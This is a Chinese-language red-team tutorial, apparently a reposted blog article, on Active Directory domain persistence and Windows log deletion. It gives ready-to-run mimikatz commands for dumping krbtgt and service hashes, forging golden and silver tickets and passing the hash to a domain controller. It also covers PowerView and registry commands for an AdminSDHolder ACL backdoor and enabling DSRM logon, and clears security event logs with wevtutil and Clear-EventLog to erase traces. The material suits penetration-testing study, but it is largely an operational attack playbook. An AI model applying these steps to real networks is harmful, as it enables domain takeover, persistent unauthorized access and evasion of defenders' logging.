内网渗透|域内持久化与Windows日志删除

VSole2021-08-14 09:47:01

0x01 金票

可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。要伪造黄金票据的前提是知道域的SID和krbtgt账户的hash或者AES-256值。

1.1 收集krbtgt密码信息

privilege::debug
lsadump::lsa /inject /name:krbtgt

得到krbtgt的hash:

c73caed3bc6f0a248e51d37b9a8675fa

域sid值:

S-1-5-21-151877218-3666268517-4145415712

1.2 金票利用

使用mimikatz伪造kerberos票证

生成gold.kribi

mimikatz "kerberos::golden /domain:redteam.local /sid:S-1-5-21-151877218-3666268517-4145415712
/krbtgt:c73caed3bc6f0a248e51d37b9a8675fa /user:administrator
/ticket:gold.kirbi"

可以看到没有任何票证。

导入gold.kribi

kerberos::ptt C:\Users\jack\Desktop\gold.kirbi

成功导入administrator票据。

可以通过事件管理器查看到是以administrator来登录的

0x02 银票

如果我们拥有服务的hash,就可以给自己签发任意用户的TGS票据。金票是伪造TGT可用于访问任何Kerberos服务,而银票是伪造TGS,仅限于访问针对特定服务器的任何服务。

这里使用CIFS服务,该服务是windows机器之间的文件共享。

2.1 获取sid

whoami /user

2.2 导出服务账号的NTLM Hash

privilege::Debug
sekurlsa::logonpasswords

2.3 创建银票

kerberos::golden /domain:redteam.local/sid:S-1-5-21-151877218-3666268517-4145415712/target:DC.redteam.local/service:cifs /rc4:0703759771e4bed877ecd472c95693a5/user:administrator /ptt

psexec获取DC机器cmd

0x03 AdminSDHolder组

AdminSDHolder是一个特殊的AD容器,具有一些默认安全权限,用作受保护AD账户和组的模板,当我们获取到域控权限,就可以通过授予该用户对容器进行滥用,使该用户成为域管。

默认情况下,该组的 ACL 被复制到所有“受保护组”中。这样做是为了避免有意或无意地更改这些关键组。但是,如果攻击者修改了AdminSDHolder组的 ACL,例如授予普通用户完全权限,则该用户将拥有受保护组内所有组的完全权限(在一小时内)。如果有人试图在一小时或更短的时间内从域管理员中删除此用户(例如),该用户将回到组中。

在server2000中引入,默认包含如下的组:
Administrators
DomainAdmins
AccountOperators
BackupOperators
DomainControllers
EnterpriseAdmins
PrintOperators
Replicator
Read-only DomainControllers
SchemaAdmins
ServerOperators

其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限,受保护的ad账户和组的具备admincount属性值为1的特征。


3.1 使用powerview查询

查询ad保护的域的用户

Get-NetUser-AdminCount|select samaccountname

查询域中受ad保护的所有组

Get-netgroup -AdminCount| select name

3.2 使用ActiveDirectory

查询ad保护的域中所有的用户和组

Import-ModuleActiveDirectory
Get-ADObject-LDAPFilter"(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))"|select name

3.3 添加用户

添加jack用户对其有完全控制权限。

Add-DomainObjectAcl-TargetIdentityAdminSDHolder-PrincipalIdentity jack -RightsAll

然后验证下,这里的sid为jack用户的。

Get-DomainObjectAcl adminsdholder | ?{$_.SecurityIdentifier-match "S-1-5-21-15187721
8-3666268517-4145415712-1106"} | select objectdn,ActiveDirectoryRights |sort -Unique

默认会等待60分钟,可以通过修改注册表来设置为60秒后触发。

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency/t REG_DWORD /d 1/f

3.4 恢复

恢复触发时间

reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency/t REG_DWORD /d 120/f

取消jack用户对adminSDHolder的权限

Remove-DomainObjectAcl-TargetSearchBase"LDAP://CN=AdminSDHolder,CN=System,DC=redteam,DC=local"-PrincipalIdentity jack -RightsAll-Verbose

0x04 DSRM凭证

每个DC内部都有一个本地管理员账户,在该机器上拥有管理员权限。

4.1 获取本地管理员hash

token::elevate
lsadump::sam

得到hash为:

852a844adfce18f66009b4f14e0a98de

4.2 检查是否工作

如果注册表项的值为0或者不存在,需要将其设置为2。

检查key是否存在并且获取值:

Get-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-name DsrmAdminLogonBehavior

如果不存在则创建值为2的键:

New-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-name DsrmAdminLogonBehavior-value 2-PropertyType DWORD

如果存在但是不为2设置为2:

Set-ItemProperty"HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA"-name DsrmAdminLogonBehavior-value 2

4.3 PTH域控

sekurlsa::pth /domain:DC /user:Administrator/ntlm:852a844adfce18f66009b4f14e0a98de/run:powershell.exe

0x05 规避Windows 事件日志记录

在做完一些渗透测试清理痕迹是很有必要的一个环节,包括在一些渗透还未结束也要清理掉一些操作日志。在情报收集反溯源等等大多都是采用windows事件日志中。

5.1 查看windows日志

5.1.1 事件管理器

5.1.2 powershell

管理员权限运行查看安全类别的日志:

Get-WinEvent-FilterHashtable@{logname="security";}

5.2 windows日志清除方法

5.2.1 wevtutil.exe

统计日志列表数目信息等:

wevtutil.exe gli Application
wevtutil.exe gli Security

查询指定类别的(这里以security举例):

wevtutil qe Security/f:text

删除指定类别:

wevtutil cl security

原本大量日志信息

但是会留下一个事件id为1102的日志清除日志

5.2.2 powershell清除日志

查看指定事件id:

Get-EventLogSecurity-InstanceId4624,4625

删除指定类别日志:

Clear-EventLog-LogNameSecurity

5.2.3 Phantom脚本

该脚本可以让日志功能失效,无法记录。他会遍历日志进程的线程堆栈来终止日志服务线程。

添加一个用户可以看到产生了日志

我们再给删除

运行ps1脚本:

再次添加用户查看日志:

持久化
本作品采用《CC 协议》,转载必须注明作者和本文链接
通过从事件日志中写入/读取 shellcode 来实现持久
COM-Hunter是一款针对持久COM劫持漏洞的安全检测工具,该工具基于C#语言开发,可以帮助广大研究人员通过持久COM劫持技术来检测目标应用程序的安全性。COM对象的滥用使安防团队能够代表受信任的进程执行任意代码。执行COM劫持不需要管理员权限,因为HKCU注册表配置单元中的类在HKLM中的类之前执行。唯一影响高完整性进程(提升)的例外情况是,仅从HKLM位置加载对象,以防止特权提升。
在分布式内存池中,为了保证远端数据持久,我们设计了RDMA Flush原语来强制刷出缓存在网卡缓冲区的数据,并基于新的原语设计了持久RPC通信机制。通过将数据持久与复杂的RPC处理过程解耦合,系统大幅提升了RPC吞吐率并降低了尾延迟。
金票可以使用krbtgt的NTLM hash创建作为任何用户的有效TGT。
天融信通过自适应安全防御系统在预测、防御、检测、响应多个层面构建多维度安全能力,帮助用户实现有效预测安全风险,精准感知安全威胁,快速阻断威胁入侵。
Rook 将存储软件转变成自我管理、自我扩展和自我修复的存储服务,通过自动化部署、启动、配置、供应、扩展、升级、迁移、灾难恢复、监控和资源管理来实现。Rook 利用扩展功能将其深度集成到云原生环境中,并为调度、生命周期管理、资源管理、安全性、监控等提供了无缝的体验。
近日,网络安全研究人员发现iOS 16存在一种新的漏洞利用后持久技术,即使受害者的苹果设备处于离线状态,也可以利用该技术悄无声息地访问该设备。
DDoS攻击的三个特性,导致其在不断治理的情况下仍然保持增长态势:一是攻击的有效性立竿见影,由于攻击效果好,攻击者热衷于挖掘新型DDoS攻击手段,甚至多国高校把DDoS威胁作为研究目标并揭露威胁;二是执行攻击简单易操作,早期的DDoS攻击攻击工具操作界面几乎是傻瓜式,粗懂网络知识的人员输入IP地址或域名即可发起海量DDoS攻击并使目标失去服务能力,然而近几年来开始推出攻击即服务的模式,
Windows Token原理及利用
2021-12-14 13:21:53
在进行内网横向时,常常会查看是否存在其他用户的进程来判断本机有更高的权限去访问其他计算机。这其中就涉及到了登录会与访问令牌。
VX小程序逆向分析
2023-06-29 09:16:31
Frida虽然确实调试起来相当方便,但是Xposed由于能够安装在用户手机上实现持久的hook,至今受到很多人的青睐,对于微信小程序的wx.request API。背景知识众所周知,Xposed主要用于安卓Java层的Hook,而微信小程序则是由JS编写的,显然无法直接进行hook。对于Xposed则没有这个问题,只需指定微信的包名就会自动hook上所有的子进程。答案是可以的,如下所示:Xposed hook wx.request java层代码得到发送的数据实现如下所示:得到响应数据的Xposed代码就不贴了,方法同上。
VSole
网络安全专家